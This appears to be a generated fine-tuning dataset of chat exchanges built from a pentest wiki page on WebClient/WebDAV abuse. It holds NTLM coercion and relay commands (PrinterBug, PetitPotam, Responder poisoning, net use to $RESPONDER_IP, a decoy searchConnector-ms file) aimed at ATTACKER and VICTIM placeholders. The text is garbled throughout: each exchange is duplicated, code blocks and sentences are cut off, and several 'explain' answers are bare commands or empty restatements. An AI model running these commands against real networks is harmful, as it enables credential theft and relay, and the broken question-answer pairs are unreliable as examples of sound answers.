Attackers can remotely enumerate systems on which the WebClient is running, which is not uncommon in organizations that use OneDrive or SharePoint or when mounting drives with a WebDAV connection string.

::: tabs

=== UNIX-like

From UNIX-like systems, this can be achieved with webclientservicescanner (Python) or using NetExec (Python).

``bash
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
`

=== Windows

From Windows systems, this can be achived with GetWebDAVStatus (C, C#)

`bash
GetWebDAVStatus.exe 'machine'
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WebClient abuse (WebDAV) - Recon

Response:
Attackers can remotely enumerate systems on which the WebClient is running, which is not uncommon in organizations that use OneDrive or SharePoint or when mounting drives with a WebDAV connection string.

::: tabs

=== UNIX-like

From UNIX-like systems, this can be achieved with webclientservicescanner (Python) or using NetExec (Python).

``bash
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
`

=== Windows

From Windows systems, this can be achived with GetWebDAVStatus (C, C#)

`bash
GetWebDAVStatus.exe 'machine'
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the webclientservicescanner command for webclient abuse (webdav) - recon

[Assistant]
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the webclientservicescanner command for webclient abuse (webdav) - recon

Response:
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out WebClient abuse (WebDAV) - Recon during a pentest?

[Assistant]
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out WebClient abuse (WebDAV) - Recon during a pentest?

Response:
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `webclientservicescanner 'domain.local'/'user':'password'@'machine'`?

[Assistant] This command is used for webclient abuse (webdav) - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `webclientservicescanner 'domain.local'/'user':'password'@'machine'`?

Response: This command is used for webclient abuse (webdav) - recon. Recon


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the GetWebDAVStatus.exe command to webclient abuse (webdav) - recon

[Assistant] GetWebDAVStatus.exe 'machine'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the GetWebDAVStatus.exe command to webclient abuse (webdav) - recon

Response: GetWebDAVStatus.exe 'machine'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for WebClient abuse (WebDAV) - Recon?

[Assistant] GetWebDAVStatus.exe 'machine'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for WebClient abuse (WebDAV) - Recon?

Response: GetWebDAVStatus.exe 'machine'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GetWebDAVStatus.exe 'machine'`?

[Assistant] This command is used for webclient abuse (webdav) - recon. Recon

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GetWebDAVStatus.exe 'machine'`?

Response: This command is used for webclient abuse (webdav) - recon. Recon


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WebClient abuse (WebDAV) - Abuse from authentication coercion

[Assistant]
Regular coercion techniques rely on the attacker forcing a remote system to authenticate to another one. The "other" system is usually an IP address, a domain or NetBIOS name. With WebClient abuse, the other system needs to be supplied in a WebDAV Connection String format.

The WebDAV Connection String format is: \\SERVER@PORT\PATH\TO\DIR.

> [!TIP]
> To retrieve an authenticated connection, the remote server that attacker wants to victim to be relayed to should be considered in the intranet zone. One way to do it is to use the NetBIOS or DNS name of the attacker machine instead of its IP address.
>
> In order to have a valid NetBIOS name, Responder can be used.
>
> A heftier alternative is to do some ADIDNS poisoning to create and use a valid DNS entry.

Below are a few examples of WebClient abuse with PrinterBug and PetitPotam.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WebClient abuse (WebDAV) - Abuse from authentication coercion

Response:
Regular coercion techniques rely on the attacker forcing a remote system to authenticate to another one. The "other" system is usually an IP address, a domain or NetBIOS name. With WebClient abuse, the other system needs to be supplied in a WebDAV Connection String format.

The WebDAV Connection String format is: \\SERVER@PORT\PATH\TO\DIR.

> [!TIP]
> To retrieve an authenticated connection, the remote server that attacker wants to victim to be relayed to should be considered in the intranet zone. One way to do it is to use the NetBIOS or DNS name of the attacker machine instead of its IP address.
>
> In order to have a valid NetBIOS name, Responder can be used.
>
> A heftier alternative is to do some ADIDNS poisoning to create and use a valid DNS entry.

Below are a few examples of WebClient abuse with PrinterBug and PetitPotam.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for WebClient abuse (WebDAV) - Abuse from authentication coercion?

[Assistant]
Regular coercion techniques rely on the attacker forcing a remote system to authenticate to another one. The "other" system is usually an IP address, a domain or NetBIOS name. With WebClient abuse, the other system needs to be supplied in a WebDAV Connection String format.

The WebDAV Connection String format is: \\SERVER@PORT\PATH\TO\DIR.

> [!TIP]
> To retrieve an authenticated connection, the remote server that attacker wants to victim to be relayed to should be considered in the intranet zone. One way to do it is to use the NetBIOS or DNS name of the attacker machine instead of its IP address.
>
> In order to have a valid NetBIOS name, Responder can be used.
>
> A heftier alternative is to do some ADIDNS poisoning to create and use a valid DNS entry.

Below are a few examples of WebClient abuse with PrinterBug and PetitPotam.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for WebClient abuse (WebDAV) - Abuse from authentication coercion?

Response:
Regular coercion techniques rely on the attacker forcing a remote system to authenticate to another one. The "other" system is usually an IP address, a domain or NetBIOS name. With WebClient abuse, the other system needs to be supplied in a WebDAV Connection String format.

The WebDAV Connection String format is: \\SERVER@PORT\PATH\TO\DIR.

> [!TIP]
> To retrieve an authenticated connection, the remote server that attacker wants to victim to be relayed to should be considered in the intranet zone. One way to do it is to use the NetBIOS or DNS name of the attacker machine instead of its IP address.
>
> In order to have a valid NetBIOS name, Responder can be used.
>
> A heftier alternative is to do some ADIDNS poisoning to create and use a valid DNS entry.

Below are a few examples of WebClient abuse with PrinterBug and PetitPotam.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is PrinterBug?

[Assistant]
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out PrinterBug during a pentest?

[Assistant]
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out PrinterBug during a pentest?

Response:
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is PetitPotam?

[Assistant]
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do PetitPotam

[Assistant]
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "VICTIM_IP"
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain WebClient abuse (WebDAV) - Abuse from multicast poisoning

[Assistant]
In a different way, under certain conditions it is possible to force a WebDAV authentication from a multicast poisoning. Indeed, according to this article from Synacktiv, if the WebClient service is running on a machine, it is possible to obtain a WebDAV authentication from a multicast poisoning, instead of an SMB one, by changing the error code returned.

In fact, as explained in the article, Responder normally ends the authentication exchange with a STATUS_ACCESS_DENIED status code in the context of the SMB exchange, closing the connection immediatly. However, by changing the code to STATUS_LOGON_FAILURE (0xc000006d) or STATUS_BAD_NETWORK_NAME (0xc00000cc), the SMB client will not immediatly close the connection and will attempt to fallback to the WebDAV client (if the WebClient service is running).

Below, an example to perform the attack with Responder (Python). At the time of writing, this pull request must be used.

``bash
responder --interface "eth0" -E
`

Alternatively, by default, smbserver.py (Python) from Impacket ends the communications with STATUS_LOGON_FAILURE.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain WebClient abuse (WebDAV) - Abuse from multicast poisoning

Response:
In a different way, under certain conditions it is possible to force a WebDAV authentication from a multicast poisoning. Indeed, according to this article from Synacktiv, if the WebClient service is running on a machine, it is possible to obtain a WebDAV authentication from a multicast poisoning, instead of an SMB one, by changing the error code returned.

In fact, as explained in the article, Responder normally ends the authentication exchange with a STATUS_ACCESS_DENIED status code in the context of the SMB exchange, closing the connection immediatly. However, by changing the code to STATUS_LOGON_FAILURE (0xc000006d) or STATUS_BAD_NETWORK_NAME (0xc00000cc), the SMB client will not immediatly close the connection and will attempt to fallback to the WebDAV client (if the WebClient service is running).

Below, an example to perform the attack with Responder (Python). At the time of writing, this pull request must be used.

``bash
responder --interface "eth0" -E
`

Alternatively, by default, smbserver.py (Python) from Impacket ends the communications with STATUS_LOGON_FAILURE.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform WebClient abuse (WebDAV) - Abuse from multicast poisoning?

[Assistant]
In a different way, under certain conditions it is possible to force a WebDAV authentication from a multicast poisoning. Indeed, according to this article from Synacktiv, if the WebClient service is running on a machine, it is possible to obtain a WebDAV authentication from a multicast poisoning, instead of an SMB one, by changing the error code returned.

In fact, as explained in the article, Responder normally ends the authentication exchange with a STATUS_ACCESS_DENIED status code in the context of the SMB exchange, closing the connection immediatly. However, by changing the code to STATUS_LOGON_FAILURE (0xc000006d) or STATUS_BAD_NETWORK_NAME (0xc00000cc), the SMB client will not immediatly close the connection and will attempt to fallback to the WebDAV client (if the WebClient service is running).

Below, an example to perform the attack with Responder (Python). At the time of writing, this pull request must be used.

``bash
responder --interface "eth0" -E
`

Alternatively, by default, smbserver.py (Python) from Impacket ends the communications with STATUS_LOGON_FAILURE.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform WebClient abuse (WebDAV) - Abuse from multicast poisoning?

Response:
In a different way, under certain conditions it is possible to force a WebDAV authentication from a multicast poisoning. Indeed, according to this article from Synacktiv, if the WebClient service is running on a machine, it is possible to obtain a WebDAV authentication from a multicast poisoning, instead of an SMB one, by changing the error code returned.

In fact, as explained in the article, Responder normally ends the authentication exchange with a STATUS_ACCESS_DENIED status code in the context of the SMB exchange, closing the connection immediatly. However, by changing the code to STATUS_LOGON_FAILURE (0xc000006d) or STATUS_BAD_NETWORK_NAME (0xc00000cc), the SMB client will not immediatly close the connection and will attempt to fallback to the WebDAV client (if the WebClient service is running).

Below, an example to perform the attack with Responder (Python). At the time of writing, this pull request must be used.

``bash
responder --interface "eth0" -E
`

Alternatively, by default, smbserver.py (Python) from Impacket ends the communications with STATUS_LOGON_FAILURE.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the responder command for webclient abuse (webdav) - abuse from multicast poisoning

[Assistant] responder --interface "eth0" -E

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the responder command for webclient abuse (webdav) - abuse from multicast poisoning

Response: responder --interface "eth0" -E


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform WebClient abuse (WebDAV) - Abuse from multicast poisoning?

[Assistant] responder --interface "eth0" -E

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: responder --interface "eth0" -E


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `responder --interface "eth0" -E`?

[Assistant] This command is used for webclient abuse (webdav) - abuse from multicast poisoning. Abuse from multicast poisoning

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `responder --interface "eth0" -E`?

Response: This command is used for webclient abuse (webdav) - abuse from multicast poisoning. Abuse from multicast poisoning


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Start smbserver in a first terminal with authentication required work?

[Assistant] python3 smbserver.py $NAME . -smb2support -username notexist -password notexist

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Start smbserver in a first terminal with authentication required work?

Response: python3 smbserver.py $NAME . -smb2support -username notexist -password notexist


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Start smbserver in a first terminal with authentication required

[Assistant] python3 smbserver.py $NAME . -smb2support -username notexist -password notexist

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Start smbserver in a first terminal with authentication required

Response: python3 smbserver.py $NAME . -smb2support -username notexist -password notexist


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Start Responder in a second terminal?

[Assistant]
responder --interface "eth0"
``

The obtained authentications from multicast poisonings in Responder will come from WebDAV, in case the WebClient service is running on the targets.

::: details
As indicated in the article, limitations are present on this attack, and not all the functionalities involving SMB operations on a Windows machine will result in the SMB client automatically falling back to WebDav.

> During our research, we were able to confirm that the following actions do trigger the behaviour:
>
> - Running a dir command targeting a non-existing SMB share in Windows cmd.
> - Running the net use command targeting a non-existing SMB share in Windows cmd.
> - Trying to access a non-existing SMB share from the file explorer interface.
> - Trying to access a non-existing SMB share from a browser (such as Edge), or trying to load a non-existing SMB resource from a web page rendered by a browser.
> - Searching for a non-existing SMB share in the "map network drive" browsing window.
> - Searching for a non-existing SMB share from the "add network location" window.
>
> However, some other functionalities (that seem to explicitly expect to handle SMB operations that could not be related to any kind of WebDav functionality) did not result in the SMB client falling back to WebDav, for instance:
>
> - Using the New-SmbMapping Powershell cmdlet.
> - Only providing a server name (\\idonotexist`) but no share name in the file explorer.
> - Clicking on "finish" in the "map network drive" window.
> - Trying to explicitly access a network share that was previously mounted and whose name does not resolve anymore.
>
>  _( Quentin Roland and Samuel Culeron, 26/02/2025, source)_
:::

> [!WARNING] WARNING
> It is important to note that WebDAV authentication always needs DNS or NetBIOS resolution on the domain to work. It is therefore not possible to exploit this behaviour to obtain HTTP authentication via coercion without NetBIOS resolution, or without creating a DNS record in t

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Start Responder in a second terminal?

Response:
responder --interface "eth0"
``

The obtained authentications from multicast poisonings in Responder will come from WebDAV, in case the WebClient service is running on the targets.

::: details
As indicated in the article, limitations are present on this attack, and not all the functionalities involving SMB operations on a Windows machine will result in the SMB client automatically falling back to WebDav.

> During our research, we were able to confirm that the following actions do trigger the behaviour:
>
> - Running a dir command targeting a non-existing SMB share in Windows cmd.
> - Running the net use command targeting a non-existing SMB share in Windows cmd.
> - Trying to access a non-existing SMB share from the file explorer interface.
> - Trying to access a non-existing SMB share from a browser (such as Edge), or trying to load a non-existing SMB resource from a web page rendered by a browser.
> - Searching for a non-existing SMB share in the "map network drive" browsing window.
> - Searching for a non-existing SMB share from the "add network location" window.
>
> However, some other functionalities (that seem to explicitly expect to handle SMB operations that could not be related to any kind of WebDav functionality) did not result in the SMB client falling back to WebDav, for instance:
>
> - Using the New-SmbMapping Powershell cmdlet.
> - Only providing a server name (\\idonotexist`) but no share name in the file explorer.
> - Clicking on "finish" in the "map network drive" window.
> - Trying to explicitly access a network share that was previously mounted and whose name does not resolve anymore.
>
>  _( Quentin Roland and Samuel Culeron, 26/02/2025, source)_
:::

> [!WARNING] WARNING
> It is important to note that WebDAV authentication always needs DNS or NetBIOS resolution on the domain to work. It is therefore not possible to exploit this behaviour to obtain HTTP authentication via coercion without NetBIOS resolution, or without creating a DNS record in t


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Start Responder in a second terminal

[Assistant]
responder --interface "eth0"
``

The obtained authentications from multicast poisonings in Responder will come from WebDAV, in case the WebClient service is running on the targets.

::: details
As indicated in the article, limitations are present on this attack, and not all the functionalities involving SMB operations on a Windows machine will result in the SMB client automatically falling back to WebDav.

> During our research, we were able to confirm that the following actions do trigger the behaviour:
>
> - Running a dir command targeting a non-existing SMB share in Windows cmd.
> - Running the net use command targeting a non-existing SMB share in Windows cmd.
> - Trying to access a non-existing SMB share from the file explorer interface.
> - Trying to access a non-existing SMB share from a browser (such as Edge), or trying to load a non-existing SMB resource from a web page rendered by a browser.
> - Searching for a non-existing SMB share in the "map network drive" browsing window.
> - Searching for a non-existing SMB share from the "add network location" window.
>
> However, some other functionalities (that seem to explicitly expect to handle SMB operations that could not be related to any kind of WebDav functionality) did not result in the SMB client falling back to WebDav, for instance:
>
> - Using the New-SmbMapping Powershell cmdlet.
> - Only providing a server name (\\idonotexist`) but no share name in the file explorer.
> - Clicking on "finish" in the "map network drive" window.
> - Trying to explicitly access a network share that was previously mounted and whose name does not resolve anymore.
>
>  _( Quentin Roland and Samuel Culeron, 26/02/2025, source)_
:::

> [!WARNING] WARNING
> It is important to note that WebDAV authentication always needs DNS or NetBIOS resolution on the domain to work. It is therefore not possible to exploit this behaviour to obtain HTTP authentication via coercion without NetBIOS resolution, or without creating a DNS record in t

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Start Responder in a second terminal

Response:
responder --interface "eth0"
``

The obtained authentications from multicast poisonings in Responder will come from WebDAV, in case the WebClient service is running on the targets.

::: details
As indicated in the article, limitations are present on this attack, and not all the functionalities involving SMB operations on a Windows machine will result in the SMB client automatically falling back to WebDav.

> During our research, we were able to confirm that the following actions do trigger the behaviour:
>
> - Running a dir command targeting a non-existing SMB share in Windows cmd.
> - Running the net use command targeting a non-existing SMB share in Windows cmd.
> - Trying to access a non-existing SMB share from the file explorer interface.
> - Trying to access a non-existing SMB share from a browser (such as Edge), or trying to load a non-existing SMB resource from a web page rendered by a browser.
> - Searching for a non-existing SMB share in the "map network drive" browsing window.
> - Searching for a non-existing SMB share from the "add network location" window.
>
> However, some other functionalities (that seem to explicitly expect to handle SMB operations that could not be related to any kind of WebDav functionality) did not result in the SMB client falling back to WebDav, for instance:
>
> - Using the New-SmbMapping Powershell cmdlet.
> - Only providing a server name (\\idonotexist`) but no share name in the file explorer.
> - Clicking on "finish" in the "map network drive" window.
> - Trying to explicitly access a network share that was previously mounted and whose name does not resolve anymore.
>
>  _( Quentin Roland and Samuel Culeron, 26/02/2025, source)_
:::

> [!WARNING] WARNING
> It is important to note that WebDAV authentication always needs DNS or NetBIOS resolution on the domain to work. It is therefore not possible to exploit this behaviour to obtain HTTP authentication via coercion without NetBIOS resolution, or without creating a DNS record in t


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WebClient abuse (WebDAV) - Start the WebClient service

[Assistant]
On a side note, making a remote system start the WebClient service can be done in many ways

::: tabs

=== Map a WebDAV server

By mapping a remote WebDAV server. This can be done by having Responder's server up and by running the net use cmdlet.

```shell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WebClient abuse (WebDAV) - Start the WebClient service

Response:
On a side note, making a remote system start the WebClient service can be done in many ways

::: tabs

=== Map a WebDAV server

By mapping a remote WebDAV server. This can be done by having Responder's server up and by running the net use cmdlet.

```shell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out WebClient abuse (WebDAV) - Start the WebClient service during a pentest?

[Assistant]
On a side note, making a remote system start the WebClient service can be done in many ways

::: tabs

=== Map a WebDAV server

By mapping a remote WebDAV server. This can be done by having Responder's server up and by running the net use cmdlet.

```shell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out WebClient abuse (WebDAV) - Start the WebClient service during a pentest?

Response:
On a side note, making a remote system start the WebClient service can be done in many ways

::: tabs

=== Map a WebDAV server

By mapping a remote WebDAV server. This can be done by having Responder's server up and by running the net use cmdlet.

```shell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does map the drive from the target WebClient needs to be started on work?

[Assistant]
net use x: http://$RESPONDER_IP/
``

=== searchConnector-ms

With a searchConnector-ms file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.

`xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>
``

=== Explorer

By opening an interactive session with the target (e.g. RDP), opening the Explorer, and type something in the address bar.

=== Service trigger

According to tiraniddo's research, the webclient service is registered with a service trigger, meaning it can be started automatically in response to a specific system event.
A simple way to start the service in an unprivileged session is by compiling and executing the following C# PoC created by klezVirus.

=== SharpStartWebclient

By compiling and executing the SharpStartWebclient tool created by eversinc33

=== Beacon Object File

By using the following BOF (Beacon Object File) created by outflanknl.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does map the drive from the target WebClient needs to be started on work?

Response:
net use x: http://$RESPONDER_IP/
``

=== searchConnector-ms

With a searchConnector-ms file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.

`xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>
``

=== Explorer

By opening an interactive session with the target (e.g. RDP), opening the Explorer, and type something in the address bar.

=== Service trigger

According to tiraniddo's research, the webclient service is registered with a service trigger, meaning it can be started automatically in response to a specific system event.
A simple way to start the service in an unprivileged session is by compiling and executing the following C# PoC created by klezVirus.

=== SharpStartWebclient

By compiling and executing the SharpStartWebclient tool created by eversinc33

=== Beacon Object File

By using the following BOF (Beacon Object File) created by outflanknl.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform map the drive from the target WebClient needs to be started on?

[Assistant]
net use x: http://$RESPONDER_IP/
``

=== searchConnector-ms

With a searchConnector-ms file uploaded to widely used share within the organisation. Each time a user browses the folder, the WebClient service will start transparently.

`xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
